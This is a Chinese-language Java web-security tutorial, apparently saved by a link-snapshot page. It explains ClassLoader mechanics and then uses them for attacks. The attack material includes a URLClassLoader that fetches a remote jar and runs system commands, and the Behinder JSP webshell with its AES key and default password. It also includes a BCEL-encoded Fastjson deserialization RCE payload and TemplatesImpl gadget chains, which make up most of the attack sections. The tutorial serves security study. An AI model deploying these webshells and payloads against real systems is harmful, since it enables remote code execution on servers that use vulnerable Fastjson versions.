添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

package com.anbai.sec.classloader;
 * Creator: yz
 * Date: 2019/12/17
public class TestHelloWorld {
    public String hello() {
        return "Hello World~";

编译TestHelloWorld.javajavac TestHelloWorld.java

我们可以通过JDK自带的javap命令反汇编TestHelloWorld.class文件对应的com.anbai.sec.classloader.TestHelloWorld类,以及使用Linux自带的hexdump命令查看TestHelloWorld.class文件二进制内容:

JVM在执行TestHelloWorld之前会先解析class二进制内容,JVM执行的其实就是如上javap命令生成的字节码。

// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");

Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。

TestHelloWorld t = new TestHelloWorld();
        String str = t.hello();
        System.out.println(str);

但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。

TestClassLoader示例代码:

package com.anbai.sec.classloader;
import java.lang.reflect.Method;
 * Creator: yz
 * Date: 2019/12/17
public class TestClassLoader extends ClassLoader {
    // TestHelloWorld类名
    private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
    // TestHelloWorld类字节码
    private static byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        return super.findClass(name);
    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();
        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);
            // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();
            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");
            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);
            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。

package com.anbai.sec.classloader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
 * Creator: yz
 * Date: 2019/12/18
public class TestURLClassLoader {
    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("https://anbai.io/tools/cmd.jar");
            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});
            // 定义需要执行的系统命令
            String cmd = "ls";
            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");
            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
            // 获取命令执行结果的输入流
            InputStream           in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;
            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();

远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:

import java.io.IOException;
 * Creator: yz
 * Date: 2019/12/18
public class CMD {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);

程序执行结果如下:

README.md
        gitbook
        javaweb-sec-source
        javaweb-sec.iml
        pom.xml

package com.anbai.sec.classloader;
import java.lang.reflect.Method;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;
public class TestCrossClassLoader {
    public static class ClassLoaderA extends ClassLoader {
        public ClassLoaderA(ClassLoader parent) {
            super(parent);
            // 加载类字节码
            defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
    public static class ClassLoaderB extends ClassLoader {
        public ClassLoaderB(ClassLoader parent) {
            super(parent);
            // 加载类字节码
            defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
    public static void main(String[] args) throws Exception {
        // 父类加载器
        ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
        // A类加载器
        ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);
        // B类加载器
        ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);
        // 使用A/B类加载器加载同一个类
        Class<?> aClass  = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
        Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
        Class<?> bClass  = Class.forName(TEST_CLASS_NAME, true, bClassLoader);
        // 比较A类加载和B类加载器加载的类是否相等
        System.out.println("aClass == aaClass:" + (aClass == aaClass));
        System.out.println("aClass == bClass:" + (aClass == bClass));
        System.out.println("\n" + aClass.getName() + "方法清单:");
        // 获取该类所有方法
        Method[] methods = aClass.getDeclaredMethods();
        for (Method method : methods) {
            System.out.println(method);
        // 创建类实例
        Object instanceA = aClass.newInstance();
        // 获取hello方法
        Method helloMethod = aClass.getMethod("hello");
        // 调用hello方法
        String result = (String) helloMethod.invoke(instanceA);
        System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result);

程序执行后输出如下结果:

aClass == aaClass:true
        aClass == bClass:false
        com.anbai.sec.classloader.TestHelloWorld方法清单:
public java.lang.String com.anbai.sec.classloader.TestHelloWorld.hello()
        反射调用:com.anbai.sec.classloader.TestHelloWorld类hello方法,返回结果:Hello World~

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

示例 - 冰蝎命令执行类反编译:

private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}];
// BCEL编码类字节码
        String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true);

编码后的类名:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$dbn$d......,BCEL会对类字节码进行编码,

BCEL解码:

int    index    = className.indexOf("$$BCEL$$");
        String realName = className.substring(index + 8);
// BCEL解码类字节码
        byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);

如果被加载的类名中包含了$$BCEL$$关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类。

{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85R$5bO$TA$U$fe$a6$z$dde$bbXX$$$e2$F$z$8aPJ$e9r$x$X$r$3e$d8$60$a2$U1$b6$b1$89o$d3$e9$a4$ynw$9b$dd$a9$c2$l1$f1$X$f0$cc$L$S$l$fc$B$fe$p$l4$9e$5d$h$U$rqvsf$ce7$e7$7c$e7$9b$99$f3$f5$c7$e7$_$AV$b0i$m$8b$9b$3an$e9$b8m$60$Kwt$dc5$90$c3$b4$8e$7b$3a$ee$eb$981$f0$A$b3$91$99$d3$907$60b$5eCA$c3$CCz$db$f1$i$f5$98$n$99$9f$7f$cd$90$aa$f8$z$c9$90$ad$3a$9e$7c$d1$eb4eP$e7M$97$Q$7d$5b$b8$fd$c8$a1$9a$e2$e2$ed$k$ef$c6$5b$g$8a$c4$c9$60$d4$fc$5e$m$e4S$t$8a$b6$ea2TO$w$3b$d5$8a$cb$c3$b0t$c8$dfq$T$c3$Ya$98$f0$bb$d2$cb$z$f2$5c$85$bb$a2$e7r$e5$H$r$de$ed2h$7eX$f2x$87$f8$WM$94$60$T$d2p$bc$96$ff$3e$a4$K$s$96$b0L$c9$82$92r$cb$x$abk$e5$f5$8d$cd$ad$a5$fe$8aa$80$f4$f6$8e$Y$c6D$_ps$aeOq$H$7e$a8$kn$d1$b05$ac$98X$c5$9a$892$d6$ZF$p5$b6$e3$db$cf$f6w$8e$84$ec$w$c7$f7LlD$e2$e6$84$df$b1$b9$d7$e4$8e$jJa$8bH$bc$eb$f3$96$M$ecK$Hb$Y$8eI$5c$ee$b5$ed$fd$e6$a1$U$ea$STS$81$e3$b5$_C$c7$a1$92$j$86L$5b$aa$97$B$5dB$a0$8e$Zf$f3$d5$bf$b3$k$cd$ff$L$d1$ed$86$8a$H$wl8$ea$80a$fc$aa$ac7$M$p$bf$d1W$3dO9$jz$J$83$ea$5d8$e3$f9$3f$c9$fb0$b1$a7$e4$91$Ut$fc$ff$a8$n$ddB$86$n$rd$bb$b4$a9$e2$3e$a8$H$5cHL$e3$g$f5$604$S$60$d1K$93$b5$c8$9b$a2$99$d1$3cP$f8$EvJ$L$ba$7f$b2$e9_$mt$8c$5d$84$7e$a0$d4$q$cde$x$b1k$r$cf$91$aa$$X$DgH$7f$c4$a0$a5$ed$9e$m$bb$60$e9$b1$9b$b6$Gw$cfa$U$ce$90i$9c$40$df$x$9ea$e8$94HfP$84M$bd$9d$88K$94$90$n$ab$T$e5$m$7d$Z$wab$SC$b1$d2$Z$f2$8a$Y$a7$e8Qj$ac1$aca$82$3c$90$97$fa$8eI$N$T$f4g$9ek$b8$fe$N$v$o$9e$8c$8fu$e3$t$b2$b7e$b6p$D$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}

FastJson自动调用setter方法修改org.apache.commons.dbcp.BasicDataSource类的driverClassNamedriverClassLoader值,driverClassName是经过BCEL编码后的com.anbai.sec.classloader.TestBCELClass类字节码,driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。

示例 - com.anbai.sec.classloader.TestBCELClass类:

package com.anbai.sec.classloader;
import java.io.IOException;
public class TestBCELClass {
    static {
        String command = "open -a Calculator.app";
        String osName  = System.getProperty("os.name");
        if (osName.startsWith("Windows")) {
            command = "calc 12345678901234567";
        } else if (osName.startsWith("Linux")) {
            command = "curl localhost:9999/";
        try {
            Runtime.getRuntime().exec(command);
        } catch (IOException e) {
            e.printStackTrace();

使用BCEL编码com.anbai.sec.classloader.TestBCELClass类字节码:

* 将一个Class文件编码成BCEL类 * @param classFile Class文件路径 * @return 编码后的BCEL类 * @throws IOException 文件读取异常 public static String bcelEncode(File classFile) throws IOException { return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);

从JSON反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于FastJson会自动调用getter方法,org.apache.commons.dbcp.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,详情参见:com.alibaba.fastjson.util.TypeUtils#computeGetters,因此FastJson最终还是调用了getConnection()方法。

getConnection()方法被调用时就会使用注入进来的org.apache.bcel.util.ClassLoader类加载器加载注入进来恶意类字节码,如下图:

因为使用了反射的方式加载com.anbai.sec.classloader.TestBCELClass类,而且还特意指定了需要初始化类(Class.forName(driverClassName, true, driverClassLoader);),因此该类的静态语句块(static{...})将会被执行,完整的攻击示例代码如下:

package com.anbai.sec.classloader;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.commons.dbcp.BasicDataSource;
import org.javaweb.utils.FileUtils;
import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;
public class BCELClassLoader {
     * com.anbai.sec.classloader.TestBCELClass类字节码,Windows和MacOS弹计算器,Linux执行curl localhost:9999
     * </pre>
    private static final byte[] CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 50, 0, // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/BCELClassLoader.java
     * 将一个Class文件编码成BCEL类
     * @param classFile Class文件路径
     * @return 编码后的BCEL类
     * @throws IOException 文件读取异常
    public static String bcelEncode(File classFile) throws IOException {
        return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);
     * BCEL命令执行示例,测试时请注意兼容性问题:① 适用于BCEL 6.0以下。② JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9
     * @throws Exception 类加载异常
    public static void bcelTest() throws Exception {
        // 使用反射是为了防止高版本JDK不存在com.sun.org.apache.bcel.internal.util.ClassLoader类
//      Class<?> bcelClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
        // 创建BCEL类加载器
//          ClassLoader classLoader = (ClassLoader) bcelClass.newInstance();
//          ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
        ClassLoader classLoader = new org.apache.bcel.util.ClassLoader();
        // BCEL编码类字节码
        String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);
        System.out.println(className);
        Class<?> clazz = Class.forName(className, true, classLoader);
        System.out.println(clazz);
     * Fastjson 1.1.15 - 1.2.4 反序列化RCE示例,示例程序考虑到测试环境的兼容性,采用的都是Apache commons dbcp和bcel
     * @throws IOException BCEL编码异常
    public static void fastjsonRCE() throws IOException {
        // BCEL编码类字节码
        String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);
        // 构建恶意的JSON
        Map<String, Object> dataMap        = new LinkedHashMap<String, Object>();
        Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();
        dataMap.put("@type", BasicDataSource.class.getName());
        dataMap.put("driverClassName", className);
        classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
        dataMap.put("driverClassLoader", classLoaderMap);
        String json = JSON.toJSONString(dataMap);
        System.out.println(json);
        JSONObject jsonObject = JSON.parseObject(json);
        System.out.println(jsonObject);
    public static void main(String[] args) throws Exception {
//      bcelTest();
        fastjsonRCE();

package com.anbai.sec.classloader;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Properties;
import static org.apache.commons.codec.binary.Base64.encodeBase64String;
public class XalanTemplatesImpl {
     * com.anbai.sec.classloader.TestAbstractTranslet类字节码
    public static final byte[] CLASS_BYTES = new byte[]{
            -54, -2, -70, -66 // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/XalanTemplatesImpl.java
     * 使用反射修改TemplatesImpl类的成员变量方式触发命令执行,Jackson和Fastjson采用这种方式触发RCE
     * @throws Exception 调用异常
    public static void invokeField() throws Exception {
        TemplatesImpl template      = new TemplatesImpl();
        Class<?>      templateClass = template.getClass();
        // 获取需要修改的成员变量
        Field byteCodesField        = templateClass.getDeclaredField("_bytecodes");
        Field nameField             = templateClass.getDeclaredField("_name");
        Field tFactoryField         = templateClass.getDeclaredField("_tfactory");
        Field outputPropertiesField = templateClass.getDeclaredField("_outputProperties");
        // 修改成员属性访问权限
        byteCodesField.setAccessible(true);
        nameField.setAccessible(true);
        tFactoryField.setAccessible(true);
        outputPropertiesField.setAccessible(true);
        // 设置类字节码
        byteCodesField.set(template, new byte[][]{CLASS_BYTES});
        // 设置名称
        nameField.set(template, "");
        // 设置TransformerFactoryImpl实例
        tFactoryField.set(template, new TransformerFactoryImpl());
        // 设置Properties配置
        outputPropertiesField.set(template, new Properties());
        // 触发defineClass调用链:
        //   getOutputProperties->newTransformer->getTransletInstance->defineTransletClasses->defineClass
        // 触发命令执行调用链:
        //   getOutputProperties->newTransformer->getTransletInstance->new TestAbstractTranslet->Runtime#exec
        template.getOutputProperties();
     * 使用反射调用TemplatesImpl类的私有构造方法方式触发命令执行
     * @throws Exception 调用异常
    public static void invokeConstructor() throws Exception {
        // 获取TemplatesImpl构造方法
        Constructor<TemplatesImpl> constructor = TemplatesImpl.class.getDeclaredConstructor(
                byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class
        // 修改访问权限
        constructor.setAccessible(true);
        // 创建TemplatesImpl实例
        TemplatesImpl template = constructor.newInstance(
                new byte[][]{CLASS_BYTES}, "", new Properties(), -1, new TransformerFactoryImpl()
        template.getOutputProperties();
     * Fastjson 1.2.2 - 1.2.4反序列化RCE示例
    public static void fastjsonRCE() {
        // 构建恶意的JSON
        Map<String, Object> dataMap = new LinkedHashMap<String, Object>();
        dataMap.put("@type", TemplatesImpl.class.getName());
        dataMap.put("_bytecodes", new String[]{encodeBase64String(CLASS_BYTES)});
        dataMap.put("_name", "");
        dataMap.put("_tfactory", new Object());
        dataMap.put("_outputProperties", new Object());
        // 生成Payload
        String json = JSON.toJSONString(dataMap);
        System.out.println(json);
        // 使用FastJson反序列化,但必须启用SupportNonPublicField特性
        JSON.parseObject(json, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
    public static void main(String[] args) throws Exception {
//      invokeField();
//      invokeConstructor();
        fastjsonRCE();

在MacOS和Windows上执行示例程序后会弹出计算器,Linux会执行curl localhost:9999